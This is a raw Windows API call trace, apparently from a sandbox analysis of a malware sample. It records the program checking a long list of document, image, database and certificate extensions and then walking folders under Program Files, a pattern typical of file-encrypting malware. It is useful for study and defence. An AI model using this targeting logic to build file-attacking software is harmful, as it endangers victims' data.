	[0257.962] lstrcmpiW (lpString1=".css", lpString2=".exe") returned -1
	[0257.962] lstrlenW (lpString=".csv") returned 4
	[0257.962] lstrcmpiW (lpString1=".csv", lpString2=".exe") returned -1
	[0257.962] lstrlenW (lpString=".cub") returned 4
	[0257.962] lstrcmpiW (lpString1=".cub", lpString2=".exe") returned -1
	[0257.962] lstrlenW (lpString=".dae") returned 4
	[0257.962] lstrcmpiW (lpString1=".dae", lpString2=".exe") returned -1
	[0257.962] lstrlenW (lpString=".dat") returned 4
	[0257.962] lstrcmpiW (lpString1=".dat", lpString2=".exe") returned -1
	[0257.962] lstrlenW (lpString=".db") returned 3
	[0257.962] lstrcmpiW (lpString1=".db", lpString2="exe") returned -1
	[0257.962] lstrlenW (lpString=".dbf") returned 4
	[0257.962] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0257.962] lstrlenW (lpString=".dbx") returned 4
	[0257.962] lstrcmpiW (lpString1=".dbx", lpString2=".exe") returned -1
	[0257.962] lstrlenW (lpString=".dc3") returned 4
	[0257.962] lstrcmpiW (lpString1=".dc3", lpString2=".exe") returned -1
	[0257.962] lstrlenW (lpString=".dcm") returned 4
	[0257.962] lstrcmpiW (lpString1=".dcm", lpString2=".exe") returned -1
	[0257.962] lstrlenW (lpString=".dcr") returned 4
	[0257.962] lstrcmpiW (lpString1=".dcr", lpString2=".exe") returned -1
	[0257.963] lstrlenW (lpString=".der") returned 4
	[0257.963] lstrcmpiW (lpString1=".der", lpString2=".exe") returned -1
	[0257.963] lstrlenW (lpString=".dib") returned 4
	[0257.963] lstrcmpiW (lpString1=".dib", lpString2=".exe") returned -1
	[0257.963] lstrlenW (lpString=".dic") returned 4
	[0257.963] lstrcmpiW (lpString1=".dic", lpString2=".exe") returned -1
	[0257.963] lstrlenW (lpString=".dif") returned 4
	[0257.963] lstrcmpiW (lpString1=".dif", lpString2=".exe") returned -1
	[0257.963] lstrlenW (lpString=".divx") returned 5
	[0257.963] lstrcmpiW (lpString1=".divx", lpString2="d.exe") returned -1
	[0257.963] lstrlenW (lpString=".djvu") returned 5
	[0257.963] lstrcmpiW (lpString1=".djvu", lpString2="d.exe") returned -1
	[0257.963] lstrlenW (lpString=".dng") returned 4
	[0257.963] lstrcmpiW (lpString1=".dng", lpString2=".exe") returned -1
	[0257.963] lstrlenW (lpString=".doc") returned 4
	[0257.963] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0257.963] lstrlenW (lpString=".docm") returned 5
	[0257.963] lstrcmpiW (lpString1=".docm", lpString2="d.exe") returned -1
	[0257.963] lstrlenW (lpString=".docx") returned 5
	[0257.964] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1
	[0257.964] lstrlenW (lpString=".dot") returned 4
	[0257.964] lstrcmpiW (lpString1=".dot", lpString2=".exe") returned -1
	[0257.964] lstrlenW (lpString=".dotm") returned 5
	[0257.964] lstrcmpiW (lpString1=".dotm", lpString2="d.exe") returned -1
	[0257.964] lstrlenW (lpString=".dotx") returned 5
	[0257.964] lstrcmpiW (lpString1=".dotx", lpString2="d.exe") returned -1
	[0257.964] lstrlenW (lpString=".dpx") returned 4
	[0257.964] lstrcmpiW (lpString1=".dpx", lpString2=".exe") returned -1
	[0257.964] lstrlenW (lpString=".dqy") returned 4
	[0257.964] lstrcmpiW (lpString1=".dqy", lpString2=".exe") returned -1
	[0257.964] lstrlenW (lpString=".dsn") returned 4
	[0257.964] lstrcmpiW (lpString1=".dsn", lpString2=".exe") returned -1
	[0257.964] lstrlenW (lpString=".dt") returned 3
	[0257.964] lstrcmpiW (lpString1=".dt", lpString2="exe") returned -1
	[0257.964] lstrlenW (lpString=".dtd") returned 4
	[0257.964] lstrcmpiW (lpString1=".dtd", lpString2=".exe") returned -1
	[0257.964] lstrlenW (lpString=".dwg") returned 4
	[0257.964] lstrcmpiW (lpString1=".dwg", lpString2=".exe") returned -1
	[0257.964] lstrlenW (lpString=".dwt") returned 4
	[0257.964] lstrcmpiW (lpString1=".dwt", lpString2=".exe") returned -1
	[0257.964] lstrlenW (lpString=".dx") returned 3
	[0257.964] lstrcmpiW (lpString1=".dx", lpString2="exe") returned -1
	[0257.964] lstrlenW (lpString=".dxf") returned 4
	[0257.964] lstrcmpiW (lpString1=".dxf", lpString2=".exe") returned -1
	[0257.964] lstrlenW (lpString=".edml") returned 5
	[0257.964] lstrcmpiW (lpString1=".edml", lpString2="d.exe") returned -1
	[0257.964] lstrlenW (lpString=".efd") returned 4
	[0257.964] lstrcmpiW (lpString1=".efd", lpString2=".exe") returned -1
	[0257.964] lstrlenW (lpString=".elf") returned 4
	[0257.964] lstrcmpiW (lpString1=".elf", lpString2=".exe") returned -1
	[0257.964] lstrlenW (lpString=".emf") returned 4
	[0257.964] lstrcmpiW (lpString1=".emf", lpString2=".exe") returned -1
	[0257.965] lstrlenW (lpString=".emz") returned 4
	[0257.965] lstrcmpiW (lpString1=".emz", lpString2=".exe") returned -1
	[0257.965] lstrlenW (lpString=".epf") returned 4
	[0257.965] lstrcmpiW (lpString1=".epf", lpString2=".exe") returned -1
	[0257.965] lstrlenW (lpString=".eps") returned 4
	[0257.965] lstrcmpiW (lpString1=".eps", lpString2=".exe") returned -1
	[0257.965] lstrlenW (lpString=".epsf") returned 5
	[0257.965] lstrcmpiW (lpString1=".epsf", lpString2="d.exe") returned -1
	[0257.965] lstrlenW (lpString=".epsp") returned 5
	[0257.965] lstrcmpiW (lpString1=".epsp", lpString2="d.exe") returned -1
	[0257.965] lstrlenW (lpString=".erf") returned 4
	[0257.965] lstrcmpiW (lpString1=".erf", lpString2=".exe") returned -1
	[0257.965] lstrlenW (lpString=".exr") returned 4
	[0257.965] lstrcmpiW (lpString1=".exr", lpString2=".exe") returned 1
	[0257.965] lstrlenW (lpString=".f4v") returned 4
	[0257.965] lstrcmpiW (lpString1=".f4v", lpString2=".exe") returned 1
	[0257.965] lstrlenW (lpString=".fido") returned 5
	[0257.965] lstrcmpiW (lpString1=".fido", lpString2="d.exe") returned -1
	[0257.965] lstrlenW (lpString=".flm") returned 4
	[0257.965] lstrcmpiW (lpString1=".flm", lpString2=".exe") returned 1
	[0257.965] lstrlenW (lpString=".flv") returned 4
	[0257.965] lstrcmpiW (lpString1=".flv", lpString2=".exe") returned 1
	[0257.965] lstrlenW (lpString=".frm") returned 4
	[0257.965] lstrcmpiW (lpString1=".frm", lpString2=".exe") returned 1
	[0257.965] lstrlenW (lpString=".fxg") returned 4
	[0257.965] lstrcmpiW (lpString1=".fxg", lpString2=".exe") returned 1
	[0257.965] lstrlenW (lpString=".geo") returned 4
	[0257.965] lstrcmpiW (lpString1=".geo", lpString2=".exe") returned 1
	[0257.965] lstrlenW (lpString=".gif") returned 4
	[0257.965] lstrcmpiW (lpString1=".gif", lpString2=".exe") returned 1
	[0257.965] lstrlenW (lpString=".grs") returned 4
	[0257.965] lstrcmpiW (lpString1=".grs", lpString2=".exe") returned 1
	[0257.965] lstrlenW (lpString=".gz") returned 3
	[0257.966] lstrcmpiW (lpString1=".gz", lpString2="exe") returned -1
	[0257.966] lstrlenW (lpString=".h") returned 2
	[0257.966] lstrcmpiW (lpString1=".h", lpString2="xe") returned -1
	[0257.966] lstrlenW (lpString=".hdr") returned 4
	[0257.966] lstrcmpiW (lpString1=".hdr", lpString2=".exe") returned 1
	[0257.966] lstrlenW (lpString=".hpp") returned 4
	[0257.966] lstrcmpiW (lpString1=".hpp", lpString2=".exe") returned 1
	[0257.966] lstrlenW (lpString=".hta") returned 4
	[0257.966] lstrcmpiW (lpString1=".hta", lpString2=".exe") returned 1
	[0257.966] lstrlenW (lpString=".htc") returned 4
	[0257.966] lstrcmpiW (lpString1=".htc", lpString2=".exe") returned 1
	[0257.966] lstrlenW (lpString=".htm") returned 4
	[0257.966] lstrcmpiW (lpString1=".htm", lpString2=".exe") returned 1
	[0257.966] lstrlenW (lpString=".html") returned 5
	[0257.966] lstrcmpiW (lpString1=".html", lpString2="d.exe") returned -1
	[0257.966] lstrlenW (lpString=".icb") returned 4
	[0257.966] lstrcmpiW (lpString1=".icb", lpString2=".exe") returned 1
	[0257.966] lstrlenW (lpString=".ics") returned 4
	[0257.966] lstrcmpiW (lpString1=".ics", lpString2=".exe") returned 1
	[0257.966] lstrlenW (lpString=".iff") returned 4
	[0257.966] lstrcmpiW (lpString1=".iff", lpString2=".exe") returned 1
	[0257.966] lstrlenW (lpString=".inc") returned 4
	[0257.966] lstrcmpiW (lpString1=".inc", lpString2=".exe") returned 1
	[0257.966] lstrlenW (lpString=".indd") returned 5
	[0257.966] lstrcmpiW (lpString1=".indd", lpString2="d.exe") returned -1
	[0257.966] lstrlenW (lpString=".ini") returned 4
	[0257.966] lstrcmpiW (lpString1=".ini", lpString2=".exe") returned 1
	[0257.966] lstrlenW (lpString=".iqy") returned 4
	[0257.966] lstrcmpiW (lpString1=".iqy", lpString2=".exe") returned 1
	[0257.966] lstrlenW (lpString=".j2c") returned 4
	[0257.966] lstrcmpiW (lpString1=".j2c", lpString2=".exe") returned 1
	[0257.966] lstrlenW (lpString=".j2k") returned 4
	[0257.966] lstrcmpiW (lpString1=".j2k", lpString2=".exe") returned 1
	[0257.967] lstrlenW (lpString=".java") returned 5
	[0257.967] lstrcmpiW (lpString1=".java", lpString2="d.exe") returned -1
	[0257.967] lstrlenW (lpString=".jp2") returned 4
	[0257.967] lstrcmpiW (lpString1=".jp2", lpString2=".exe") returned 1
	[0257.967] lstrlenW (lpString=".jpc") returned 4
	[0257.967] lstrcmpiW (lpString1=".jpc", lpString2=".exe") returned 1
	[0257.967] lstrlenW (lpString=".jpe") returned 4
	[0257.967] lstrcmpiW (lpString1=".jpe", lpString2=".exe") returned 1
	[0257.967] lstrlenW (lpString=".jpeg") returned 5
	[0257.967] lstrcmpiW (lpString1=".jpeg", lpString2="d.exe") returned -1
	[0257.967] lstrlenW (lpString=".jpf") returned 4
	[0257.967] lstrcmpiW (lpString1=".jpf", lpString2=".exe") returned 1
	[0257.967] lstrlenW (lpString=".jpg") returned 4
	[0257.967] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0257.967] lstrlenW (lpString=".jpx") returned 4
	[0257.967] lstrcmpiW (lpString1=".jpx", lpString2=".exe") returned 1
	[0257.967] lstrlenW (lpString=".js") returned 3
	[0257.967] lstrcmpiW (lpString1=".js", lpString2="exe") returned -1
	[0257.967] lstrlenW (lpString=".jsf") returned 4
	[0257.967] lstrcmpiW (lpString1=".jsf", lpString2=".exe") returned 1
	[0257.967] lstrlenW (lpString=".json") returned 5
	[0257.967] lstrcmpiW (lpString1=".json", lpString2="d.exe") returned -1
	[0257.967] lstrlenW (lpString=".jsp") returned 4
	[0257.967] lstrcmpiW (lpString1=".jsp", lpString2=".exe") returned 1
	[0257.967] lstrlenW (lpString=".kdc") returned 4
	[0257.967] lstrcmpiW (lpString1=".kdc", lpString2=".exe") returned 1
	[0257.967] lstrlenW (lpString=".kmz") returned 4
	[0257.967] lstrcmpiW (lpString1=".kmz", lpString2=".exe") returned 1
	[0257.967] lstrlenW (lpString=".kwm") returned 4
	[0257.968] lstrcmpiW (lpString1=".kwm", lpString2=".exe") returned 1
	[0257.968] lstrlenW (lpString=".lasso") returned 6
	[0257.968] lstrcmpiW (lpString1=".lasso", lpString2="ed.exe") returned -1
	[0257.968] lstrlenW (lpString=".lbi") returned 4
	[0257.968] lstrcmpiW (lpString1=".lbi", lpString2=".exe") returned 1
	[0257.968] lstrlenW (lpString=".lgf") returned 4
	[0257.968] lstrcmpiW (lpString1=".lgf", lpString2=".exe") returned 1
	[0257.968] lstrlenW (lpString=".lgp") returned 4
	[0257.968] lstrcmpiW (lpString1=".lgp", lpString2=".exe") returned 1
	[0257.968] lstrlenW (lpString=".log") returned 4
	[0257.968] lstrcmpiW (lpString1=".log", lpString2=".exe") returned 1
	[0257.968] lstrlenW (lpString=".m1v") returned 4
	[0257.968] lstrcmpiW (lpString1=".m1v", lpString2=".exe") returned 1
	[0257.968] lstrlenW (lpString=".m4a") returned 4
	[0257.968] lstrcmpiW (lpString1=".m4a", lpString2=".exe") returned 1
	[0257.968] lstrlenW (lpString=".m4v") returned 4
	[0257.968] lstrcmpiW (lpString1=".m4v", lpString2=".exe") returned 1
	[0257.968] lstrlenW (lpString=".max") returned 4
	[0257.968] lstrcmpiW (lpString1=".max", lpString2=".exe") returned 1
	[0257.968] lstrlenW (lpString=".md") returned 3
	[0257.968] lstrcmpiW (lpString1=".md", lpString2="exe") returned -1
	[0257.968] lstrlenW (lpString=".mda") returned 4
	[0257.968] lstrcmpiW (lpString1=".mda", lpString2=".exe") returned 1
	[0257.968] lstrlenW (lpString=".mdb") returned 4
	[0257.968] lstrcmpiW (lpString1=".mdb", lpString2=".exe") returned 1
	[0257.968] lstrlenW (lpString=".mde") returned 4
	[0257.968] lstrcmpiW (lpString1=".mde", lpString2=".exe") returned 1
	[0257.968] lstrlenW (lpString=".mdf") returned 4
	[0257.968] lstrcmpiW (lpString1=".mdf", lpString2=".exe") returned 1
	[0257.968] lstrlenW (lpString=".mdw") returned 4
	[0257.968] lstrcmpiW (lpString1=".mdw", lpString2=".exe") returned 1
	[0257.968] lstrlenW (lpString=".mef") returned 4
	[0257.969] lstrcmpiW (lpString1=".mef", lpString2=".exe") returned 1
	[0257.969] lstrlenW (lpString=".mft") returned 4
	[0257.969] lstrcmpiW (lpString1=".mft", lpString2=".exe") returned 1
	[0257.969] lstrlenW (lpString=".mfw") returned 4
	[0257.969] lstrcmpiW (lpString1=".mfw", lpString2=".exe") returned 1
	[0257.969] lstrlenW (lpString=".mht") returned 4
	[0257.969] lstrcmpiW (lpString1=".mht", lpString2=".exe") returned 1
	[0257.969] lstrlenW (lpString=".mhtml") returned 6
	[0257.969] lstrcmpiW (lpString1=".mhtml", lpString2="ed.exe") returned -1
	[0257.969] lstrlenW (lpString=".mka") returned 4
	[0257.969] lstrcmpiW (lpString1=".mka", lpString2=".exe") returned 1
	[0257.969] lstrlenW (lpString=".mkidx") returned 6
	[0257.969] lstrcmpiW (lpString1=".mkidx", lpString2="ed.exe") returned -1
	[0257.969] lstrlenW (lpString=".mkv") returned 4
	[0257.969] lstrcmpiW (lpString1=".mkv", lpString2=".exe") returned 1
	[0257.969] lstrlenW (lpString=".mos") returned 4
	[0257.969] lstrcmpiW (lpString1=".mos", lpString2=".exe") returned 1
	[0257.969] lstrlenW (lpString=".mov") returned 4
	[0257.969] lstrcmpiW (lpString1=".mov", lpString2=".exe") returned 1
	[0257.969] lstrlenW (lpString=".mp3") returned 4
	[0257.969] lstrcmpiW (lpString1=".mp3", lpString2=".exe") returned 1
	[0257.969] lstrlenW (lpString=".mp4") returned 4
	[0257.969] lstrcmpiW (lpString1=".mp4", lpString2=".exe") returned 1
	[0257.969] lstrlenW (lpString=".mpeg") returned 5
	[0257.969] lstrcmpiW (lpString1=".mpeg", lpString2="d.exe") returned -1
	[0257.969] lstrlenW (lpString=".mpg") returned 4
	[0257.969] lstrcmpiW (lpString1=".mpg", lpString2=".exe") returned 1
	[0257.969] lstrlenW (lpString=".mpv") returned 4
	[0257.969] lstrcmpiW (lpString1=".mpv", lpString2=".exe") returned 1
	[0257.969] lstrlenW (lpString=".mrw") returned 4
	[0257.969] lstrcmpiW (lpString1=".mrw", lpString2=".exe") returned 1
	[0257.969] lstrlenW (lpString=".msg") returned 4
	[0257.969] lstrcmpiW (lpString1=".msg", lpString2=".exe") returned 1
	[0257.970] lstrlenW (lpString=".mxl") returned 4
	[0257.970] lstrcmpiW (lpString1=".mxl", lpString2=".exe") returned 1
	[0257.970] lstrlenW (lpString=".myd") returned 4
	[0257.970] lstrcmpiW (lpString1=".myd", lpString2=".exe") returned 1
	[0257.970] lstrlenW (lpString=".myi") returned 4
	[0257.970] lstrcmpiW (lpString1=".myi", lpString2=".exe") returned 1
	[0257.970] lstrlenW (lpString=".nef") returned 4
	[0257.970] lstrcmpiW (lpString1=".nef", lpString2=".exe") returned 1
	[0257.970] lstrlenW (lpString=".nrw") returned 4
	[0257.970] lstrcmpiW (lpString1=".nrw", lpString2=".exe") returned 1
	[0257.970] lstrlenW (lpString=".obj") returned 4
	[0257.970] lstrcmpiW (lpString1=".obj", lpString2=".exe") returned 1
	[0257.970] lstrlenW (lpString=".odb") returned 4
	[0257.970] lstrcmpiW (lpString1=".odb", lpString2=".exe") returned 1
	[0257.970] lstrlenW (lpString=".odc") returned 4
	[0257.970] lstrcmpiW (lpString1=".odc", lpString2=".exe") returned 1
	[0257.970] lstrlenW (lpString=".odm") returned 4
	[0257.970] lstrcmpiW (lpString1=".odm", lpString2=".exe") returned 1
	[0257.970] lstrlenW (lpString=".odp") returned 4
	[0257.970] lstrcmpiW (lpString1=".odp", lpString2=".exe") returned 1
	[0257.970] lstrlenW (lpString=".ods") returned 4
	[0257.970] lstrcmpiW (lpString1=".ods", lpString2=".exe") returned 1
	[0257.970] lstrlenW (lpString=".oft") returned 4
	[0257.970] lstrcmpiW (lpString1=".oft", lpString2=".exe") returned 1
	[0257.970] lstrlenW (lpString=".one") returned 4
	[0257.970] lstrcmpiW (lpString1=".one", lpString2=".exe") returned 1
	[0257.970] lstrlenW (lpString=".onepkg") returned 7
	[0257.970] lstrcmpiW (lpString1=".onepkg", lpString2="ted.exe") returned -1
	[0257.970] lstrlenW (lpString=".onetoc2") returned 8
	[0257.970] lstrcmpiW (lpString1=".onetoc2", lpString2="ated.exe") returned -1
	[0257.970] lstrlenW (lpString=".opt") returned 4
	[0257.970] lstrcmpiW (lpString1=".opt", lpString2=".exe") returned 1
	[0257.971] lstrlenW (lpString=".oqy") returned 4
	[0257.971] lstrcmpiW (lpString1=".oqy", lpString2=".exe") returned 1
	[0257.971] lstrlenW (lpString=".orf") returned 4
	[0257.971] lstrcmpiW (lpString1=".orf", lpString2=".exe") returned 1
	[0257.971] lstrlenW (lpString=".p12") returned 4
	[0257.971] lstrcmpiW (lpString1=".p12", lpString2=".exe") returned 1
	[0257.971] lstrlenW (lpString=".p7b") returned 4
	[0257.971] lstrcmpiW (lpString1=".p7b", lpString2=".exe") returned 1
	[0257.971] lstrlenW (lpString=".p7c") returned 4
	[0257.971] lstrcmpiW (lpString1=".p7c", lpString2=".exe") returned 1
	[0257.971] lstrlenW (lpString=".pam") returned 4
	[0257.971] lstrcmpiW (lpString1=".pam", lpString2=".exe") returned 1
	[0257.971] lstrlenW (lpString=".pbm") returned 4
	[0257.971] lstrcmpiW (lpString1=".pbm", lpString2=".exe") returned 1
	[0257.971] lstrlenW (lpString=".pct") returned 4
	[0257.971] lstrcmpiW (lpString1=".pct", lpString2=".exe") returned 1
	[0257.971] lstrlenW (lpString=".pcx") returned 4
	[0257.971] lstrcmpiW (lpString1=".pcx", lpString2=".exe") returned 1
	[0257.971] lstrlenW (lpString=".pdd") returned 4
	[0257.971] lstrcmpiW (lpString1=".pdd", lpString2=".exe") returned 1
	[0257.971] lstrlenW (lpString=".pdf") returned 4
	[0257.971] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0257.971] lstrlenW (lpString=".pdp") returned 4
	[0257.971] lstrcmpiW (lpString1=".pdp", lpString2=".exe") returned 1
	[0257.971] lstrlenW (lpString=".pef") returned 4
	[0257.971] lstrcmpiW (lpString1=".pef", lpString2=".exe") returned 1
	[0257.971] lstrlenW (lpString=".pem") returned 4
	[0257.971] lstrcmpiW (lpString1=".pem", lpString2=".exe") returned 1
	[0257.971] lstrlenW (lpString=".pff") returned 4
	[0257.971] lstrcmpiW (lpString1=".pff", lpString2=".exe") returned 1
	[0257.971] lstrlenW (lpString=".pfm") returned 4
	[0257.971] lstrcmpiW (lpString1=".pfm", lpString2=".exe") returned 1
	[0257.972] lstrlenW (lpString=".pfx") returned 4
	[0257.972] lstrcmpiW (lpString1=".pfx", lpString2=".exe") returned 1
	[0257.972] lstrlenW (lpString=".pgm") returned 4
	[0257.972] lstrcmpiW (lpString1=".pgm", lpString2=".exe") returned 1
	[0257.972] lstrlenW (lpString=".php") returned 4
	[0257.972] lstrcmpiW (lpString1=".php", lpString2=".exe") returned 1
	[0257.972] lstrlenW (lpString=".php3") returned 5
	[0257.972] lstrcmpiW (lpString1=".php3", lpString2="d.exe") returned -1
	[0257.972] lstrlenW (lpString=".php4") returned 5
	[0257.972] lstrcmpiW (lpString1=".php4", lpString2="d.exe") returned -1
	[0257.972] lstrlenW (lpString=".php5") returned 5
	[0257.972] lstrcmpiW (lpString1=".php5", lpString2="d.exe") returned -1
	[0257.972] lstrlenW (lpString=".phtml") returned 6
	[0257.972] lstrcmpiW (lpString1=".phtml", lpString2="ed.exe") returned -1
	[0257.972] lstrlenW (lpString=".pict") returned 5
	[0257.972] lstrcmpiW (lpString1=".pict", lpString2="d.exe") returned -1
	[0257.972] lstrlenW (lpString=".pl") returned 3
	[0257.972] lstrcmpiW (lpString1=".pl", lpString2="exe") returned -1
	[0257.972] lstrlenW (lpString=".pls") returned 4
	[0257.972] lstrcmpiW (lpString1=".pls", lpString2=".exe") returned 1
	[0257.972] lstrlenW (lpString=".pm") returned 3
	[0257.972] lstrcmpiW (lpString1=".pm", lpString2="exe") returned -1
	[0257.972] lstrlenW (lpString=".png") returned 4
	[0257.972] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1
	[0257.972] lstrlenW (lpString=".pnm") returned 4
	[0257.972] lstrcmpiW (lpString1=".pnm", lpString2=".exe") returned 1
	[0257.972] lstrlenW (lpString=".pot") returned 4
	[0257.972] lstrcmpiW (lpString1=".pot", lpString2=".exe") returned 1
	[0257.972] lstrlenW (lpString=".potm") returned 5
	[0257.972] lstrcmpiW (lpString1=".potm", lpString2="d.exe") returned -1
	[0257.972] lstrlenW (lpString=".potx") returned 5
	[0257.972] lstrcmpiW (lpString1=".potx", lpString2="d.exe") returned -1
	[0257.973] lstrlenW (lpString=".ppa") returned 4
	[0257.973] lstrcmpiW (lpString1=".ppa", lpString2=".exe") returned 1
	[0257.973] lstrlenW (lpString=".ppam") returned 5
	[0257.973] lstrcmpiW (lpString1=".ppam", lpString2="d.exe") returned -1
	[0257.973] lstrlenW (lpString=".ppm") returned 4
	[0257.973] lstrcmpiW (lpString1=".ppm", lpString2=".exe") returned 1
	[0257.973] lstrlenW (lpString=".pps") returned 4
	[0257.973] lstrcmpiW (lpString1=".pps", lpString2=".exe") returned 1
	[0257.973] lstrlenW (lpString=".ppsm") returned 5
	[0257.973] lstrcmpiW (lpString1=".ppsm", lpString2="d.exe") returned -1
	[0257.973] lstrlenW (lpString=".ppt") returned 4
	[0257.973] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0257.973] lstrlenW (lpString=".pptm") returned 5
	[0257.973] lstrcmpiW (lpString1=".pptm", lpString2="d.exe") returned -1
	[0257.973] lstrlenW (lpString=".pptx") returned 5
	[0257.973] lstrcmpiW (lpString1=".pptx", lpString2="d.exe") returned -1
	[0257.973] lstrlenW (lpString=".prn") returned 4
	[0257.973] lstrcmpiW (lpString1=".prn", lpString2=".exe") returned 1
	[0257.973] lstrlenW (lpString=".ps") returned 3
	[0257.973] lstrcmpiW (lpString1=".ps", lpString2="exe") returned -1
	[0257.973] lstrlenW (lpString=".psb") returned 4
	[0257.973] lstrcmpiW (lpString1=".psb", lpString2=".exe") returned 1
	[0257.973] lstrlenW (lpString=".psd") returned 4
	[0257.974] lstrcmpiW (lpString1=".psd", lpString2=".exe") returned 1
	[0257.974] lstrlenW (lpString=".pst") returned 4
	[0257.974] lstrcmpiW (lpString1=".pst", lpString2=".exe") returned 1
	[0257.974] lstrlenW (lpString=".ptx") returned 4
	[0257.974] lstrcmpiW (lpString1=".ptx", lpString2=".exe") returned 1
	[0257.974] lstrlenW (lpString=".pub") returned 4
	[0257.974] lstrcmpiW (lpString1=".pub", lpString2=".exe") returned 1
	[0257.974] lstrlenW (lpString=".pwm") returned 4
	[0257.974] lstrcmpiW (lpString1=".pwm", lpString2=".exe") returned 1
	[0257.974] lstrlenW (lpString=".pxr") returned 4
	[0257.974] lstrcmpiW (lpString1=".pxr", lpString2=".exe") returned 1
	[0257.974] lstrlenW (lpString=".py") returned 3
	[0257.974] lstrcmpiW (lpString1=".py", lpString2="exe") returned -1
	[0257.974] lstrlenW (lpString=".qt") returned 3
	[0257.974] lstrcmpiW (lpString1=".qt", lpString2="exe") returned -1
	[0257.974] lstrlenW (lpString=".r3d") returned 4
	[0257.974] lstrcmpiW (lpString1=".r3d", lpString2=".exe") returned 1
	[0257.974] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\*", lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b25d0
	[0257.980] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.980] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 1
	[0257.980] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*", lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b22d0
	[0257.981] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.981] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1
	[0257.981] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*", lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2510
	[0257.981] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
